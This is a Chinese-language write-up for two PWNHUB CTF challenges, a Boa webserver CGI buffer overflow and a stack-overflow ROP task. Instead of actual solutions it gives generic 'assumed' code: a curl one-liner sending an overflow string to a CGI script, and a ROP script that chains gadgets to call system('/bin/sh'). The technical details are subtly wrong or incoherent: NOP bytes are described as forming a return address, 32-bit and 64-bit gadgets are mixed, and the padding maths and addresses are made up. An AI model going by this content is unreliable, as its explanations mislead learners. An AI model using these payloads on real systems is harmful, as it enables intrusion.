返回

PWNHUB 内部赛第七场 babyboa、美好的异或 Writeup

闲谈

BabyBoa:利用 Boa Webserver 的 CGI 文件进行漏洞攻击

在 PWNHUB 内部赛中,BabyBoa 这道题目主要考察的是对 Boa Webserver 中 CGI 脚本的利用。通过分析源码或者直接利用已知的安全漏洞,可以发现某些脚本文件可能存在缓冲区溢出等安全问题。

源代码审计与漏洞利用

对于 BabyBoa 题目,首先需要获取到 CGI 脚本的具体实现内容。通常情况下,这些脚本使用的是 C 语言编写,并且会存在一些经典的编程错误,比如未检查的输入、不安全的内存操作等。

缓冲区溢出攻击

假设脚本中有以下代码:

void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // 此处没有对输入进行长度限制,存在缓冲区溢出风险。
}

这里 strcpy 函数不检查目标缓冲区的大小,直接复制内容。若提供的输入超出了 buffer 的容量,便可以覆盖相邻的内存区域。

攻击步骤
  1. 确定 CGI 脚本中的漏洞位置。
  2. 构造一个长字符串作为恶意输入,超出脚本中缓冲区的大小限制。
  3. 通过控制被溢出的数据来改写返回地址或函数指针等关键信息,以实现代码执行。
示例命令行
curl "http://target/cgi-bin/vulnerable.cgi?input=$(python -c 'print("A" * 64 + "\x90\x90\x90\x90")')"

这里的 "\x90" 是 x86 架构下的 NOP 指令,用来构造合适的返回地址。

美好的异或:通过逆向分析解密函数实现栈溢出 ROP

在美好的异或这道题目中,挑战在于需要通过逆向工程来解析目标程序的加密机制,并且利用已知的栈缓冲区溢出来执行 ROP(Return-Oriented Programming)链。

逆向分析过程
  • 获取二进制文件:通常需要下载或者获得二进制可执行文件。
  • 使用 IDA 或 Ghidra 进行静态分析:识别加密函数和其参数传递方式,理解解密逻辑。
寻找 ROP 链中的 gadget

在找到的二进制中,通过搜索合适的 ret 指令或者包含有用指令序列的函数返回地址,构建ROP链。例如:

rop = ROP(binary)
pop_ret = rop.find_gadget(['pop eax', 'ret'])[0]
print(hex(pop_ret))  # 输出找到的 gadget 地址
构造 ROP 链
  1. 使用 gdb 分析二进制文件,确定溢出点。
  2. 根据逆向分析结果构建ROP链来绕过安全机制执行任意代码。
示例攻击脚本
import struct

def p64(x):
    return struct.pack('<Q', x)

rop_chain = b''
# 假设找到的 gadget 地址如下
pop_rdi_ret_gadget = 0x00401234
bin_sh_addr = 0x006010a8

rop_chain += p64(pop_rdi_ret_gadget)
rop_chain += p64(bin_sh_addr) 
# 假设找到的 system 函数地址如下
system_address = 0x00401235  
rop_chain += p64(system_address)

payload = b'A' * (offset_to_return_address + 8 - len(rop_chain)) + rop_chain

with open('exploit', 'wb') as f:
    f.write(payload)

这里 bin_sh_addr 是指向 /bin/sh 字符串的地址,通过 ROP 链调用 system() 函数执行 shell 命令。

结论与建议

对于此类比赛题目,关键在于熟悉编程语言特性及常用漏洞利用技巧,以及熟练使用逆向工程工具。同时,在实际开发中应提高安全意识,确保代码健壮性,比如使用安全的字符串操作函数、合理控制用户输入等。